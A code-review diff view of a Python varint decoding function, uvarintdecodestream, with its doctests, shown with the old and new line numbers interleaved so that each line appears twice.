3767 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3769 0
3768 0
3770 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3769 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3771 1
3770 1
3772 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3771 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3773 127
3772 127
3774 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3773 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3775 1337
3774 1337
3776 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3775 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3777 65536
3776 65536
3778 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3777 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3779 Traceback (most recent call last):
3778 Traceback (most recent call last):
3780 ...
3779 ...
3781 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3780 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3782 """
3781 """
3783 result = 0
3782 result = 0
3784 shift = 0
3783 shift = 0
3785 while True:
3784 while True:
3786 byte = ord(readexactly(fh, 1))
3785 byte = ord(readexactly(fh, 1))
3787 result |= ((byte & 0x7f) << shift)
3786 result |= ((byte & 0x7f) << shift)
3788 if not (byte & 0x80):
3787 if not (byte & 0x80):
3789 return result
3788 return result
3790 shift += 7
3789 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now